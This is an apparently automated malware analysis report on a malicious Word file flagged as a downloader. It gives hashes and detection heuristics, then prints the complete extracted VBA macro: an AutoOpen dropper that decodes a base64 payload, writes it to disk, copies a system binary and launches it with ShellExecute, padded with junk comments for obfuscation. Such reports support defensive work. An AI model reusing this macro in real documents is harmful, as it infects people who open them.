Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d3af7c051f083b20…

MALICIOUS

Office (OOXML)

91.2 KB Created: 2021-02-26 09:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-20
MD5: 37247e49b6394383d402aece5987c30e SHA-1: 864afa2df5b455de3f7d19ac2c9624cace2e725e SHA-256: d3af7c051f083b206f66073f4199c13be45b0f1790fe2c7a425a89fa18f8340b
190 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim aXC0E As New Shell32.Shell
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    With CreateObject("Microsoft.XMLDOM").createElement("b64")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7418 bytes
SHA-256: c9a715efdc79277a231fbe34fb07dfd9c56a7d7074802480d7846cf742ed8a5c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{78FC7EB6-4DB1-4442-9739-056B5D972272}{B2B0185C-E88C-4B90-B481-D542E180B2D8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "axPB6"
Sub AutoOpen()
' Bewail chastity impecunious
' Disjointed confessor materials
' Tiller voters aboriginal amatory
' Unnecessarily weeks level examine
Call aiGml
End Sub
Sub aiGml()
aVI3oy
End Sub
Function a5mtiD(ayobI)
aB0JLZ = ""
For aGdS0r = Len(ayobI) To 1 Step -1
aB0JLZ = aB0JLZ & "" & Mid(ayobI, aGdS0r, 1)
Next aGdS0r
a5mtiD = aB0JLZ
End Function
Function a8sImz(b64)
With CreateObject("Microsoft.XMLDOM").createElement("b64")
.DataType = "bin.base64"
.text = b64
        b = .nodeTypedValue
End With
a8sImz = StrConv(b, vbUnicode)
End Function

Attribute VB_Name = "a7C5tZ"
Sub ax57JP(aYKmUl, alWwT)
' Crispin alluring
' Cats upholstered trainer discrimination wed
' Bother
' Demerit availability outlaw translators
Set ar7Sz = CreateObject("Scripting.FileSystemObject")
Call ar7Sz.CopyFile(aYKmUl, alWwT, 1)
' Johnston zdnet greg
' Malevolence collie issued
End Sub
Sub aZYQ8D(acerN, aQAE3X)
' Abruptness accessory legation
' Stile colon laggard pith
' Yawn inline
' Echoing counterfeit drove denied unapproachable glamour
' Telecom wheres goth.
' Yellow computational pairs dragons
' Coming novice src bookmarks manager
' Intelligent
' Tokyo southwest nil propagating
' Bridesmaid clinics newest scored
' Seeking vacation lab
' Yahoo morning
' Aim hoarding
' Greetings fifty-eight praiseworthy
' Subjecting births marion constructing arrived
' Linda equatorial
' Saucy defile nothing forth
' Tobago thumbnail governments cayman
' Bulk magnificent ec buffoon
' Ribbon beech twitching hinduism
' Sending ticket
' Communism
' Reflects paraguay frontal
' Request differ offer
' Carbonic
Open acerN For Output As #1
Print #1, aQAE3X
' Protest ro
' Worlds squad mo party worcestershire senile
Close #1
End Sub

Attribute VB_Name = "aArxj"
Function a2POb(aNJM1A)
' Ai caricature robust billiards
' Slots informant
' Sudden kennel
' Climber
' Vowel blinking inorganic
' With revise oc
' Uri emblazoned responsible asia
' Academic testing journalistic milfs hostelry
' Multifarious
' Avaricious redder spam measurable purify
' Indication treasurer
' Hoped ul shared gull
' Engineering feign paddock spiteful rim
End Function
Function a7zJH(aYrRz)
' Irish tcp madeira maternity
' Cuba unlettered thousandth
' Nail perforce
' Filly insert
' Signing marina aol
' Vehicles tether
' Vega rabbit
' Notoriety stadium rotation
' Acquirement guest
' Statistics engross
' Adhering told
' Bot
apIrW = Split(a5mtiD(frm.paths.text), "|")
Select Case aYrRz
Case Is = 0
a7zJH = apIrW(0)
Case Is = 1
a7zJH = apIrW(1)
Case Is = 2
a7zJH = apIrW(2)
Case Is = 3
a7zJH = apIrW(3)
End Select
' Perspectives scholarship lev. winded vat
' Golf godlike implication
' Equation influx
' Peoples bean
' Uneven mechanics efficacious baste askew
' Avoid gp discretionary rev experiences
' Leisure rhythmic
' Tigers
' Atlas larceny forming
' Cropped feldspar project rouge adele bd
' Pulse acknowledge
' Dialog manitoba scarecrow molten
' Muckle generating graduation uprightness
' Hormone
' Headed blogs colon attacks outreach
' Offset regards appalled quilt auxiliary ea pocketbook
' Crystalline ownership rock pad
' Backgrounds provinces vanishing
' Aphrodite
' Tend evening meaningful
' Brought passively
' Anthology distilled distances nigeria
' Ugliness compiler
' Dayton reasons drug
' Assassinate
' Buses lets inundation fatuous
' Transformation sea
' Sees computer dolphin pretentious oaken
' Busts deviant celery
' Controversial lobby
' Computed quicken opposed eclat
End Function
Function ar9sv(a19fK, a78Sqh)
' Gender miserly jolt temporal tuneful
' Doublet fixture design
' Indeed fans
' Adhering hunter invite
' Canal detriment
' Began lurked korea
' Gates usgs arbor raised touched immodest
' Canon age counters
End Function
Sub aVI3oy()
a5uhVb = a7zJH(0)
aSMOn = a7zJH(1)
aYWGIm = a7zJH(2)
a1dWo = a7zJH(3)
' Belief northamptonshire requisition monaco
' Identified
' Admitted alias vindication masturbating
' Tickle capitol ferment
' Husbandman expiration atomic taxes unauthorized af
' Shaping auctions
' Ideal dissipate safari canvas
' Joy display constitutes dirk
' Complement attack for
' Seventy-four rusted gregarious fool tyre callous
' Installations senator marion
' Condoned neighborhood
' Huntington english
' Segments semicircular fundamentals prayers chiefest
' Dissuade transparency pad forward buckler incandescent
' Honeysuckle go-between daniel cozen
' Cinders coherent interrogatory
' Intact founded gauge
' Legion peat
' Chandler lender paramour
' Neural buoyant literature
' Greensboro remedy pennsylvania
' Asp
aso3BJ = a5mtiD(a8sImz(frm.pay.text))
' Building turning aviation stratum
' Ge surprised complicated silicon
aZYQ8D a5uhVb, aso3BJ
' Integral lm plenipotentiary unsubscribe
' Arg wrench horseshoe slighting
' Hospitals courage bison index motley
' Broader ppm prefix chimera
' Pants baptist every thirty-seven
' Rec
' Kindle republicans
ax57JP aYWGIm, aSMOn
' Sisters aurora alcohol wikipedia
' Secede steam
' Offhand min
' Ha josh sesame unrest herself
' Porous smack limits sticks
' Fatherland hemlock mucous
' Weather disconsolate pout exodus humanity
' Tomatoes digits cubit revelation
' Happened lair stigma garage camps
' Undeviating hanging declamation gross contagious
' Woody
' Gram undisputed haystack
' Unpropitious chubby nato
' Bids clearly trainer highlighted
' Soonest auxiliary
' Wiry amplifier mahogany
' Bedford
' Exotic referral reduction home-made
' Waltz stringent
' Competition
' Whitby argue
' Undertone carlos pas
' Armistice
' Began jay enigmatical implicitly eschew congratulations mention
' Prim ourselves
' Gras hyena titans
a5rab = Chr(34)
aiEyT = Trim(a1dWo & "t : " & a5rab & a5uhVb & a5rab)
' Lemonade servitor mpg
' Crystallization branch
' Truncheon marge ferry
' Dregs nursing bigotry point allocated
' Chaotic t primate
' Dear canter mac
' Burning
Dim aXC0E As New Shell32.Shell
Call aXC0E.ShellExecute(aSMOn, aiEyT, " ", SW_SHOWNORMAL)
' Veined cheapside pineapple tar jig durham diffident
' Sports arian pug opinions
' Jennifer preferences prevention congestion down
' Commemoration housing cannon
' Jewelry award dozen neil
' Basic participating
' Confusing moccasin usury lintel roster practitioner implied
' Dried
' Motion slush
' Firewall hard tramadol
' Extricate tradespeople una
' Consumption
' Rapturous language
' Present transcript contractors
' Suet
' Eighty-seven penetration unravel
' Congo american
' Cookbook wrapped rise
' Epitome antonio taunt missions ohio
' Pip
' Wampum traditionary
' Ways
' Training decision paint protocol
' Soft
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 39936 bytes
SHA-256: 0e00942bc8cf669d51a2074944523bcd62ae9c125385ae1ab52c0452bff7aa66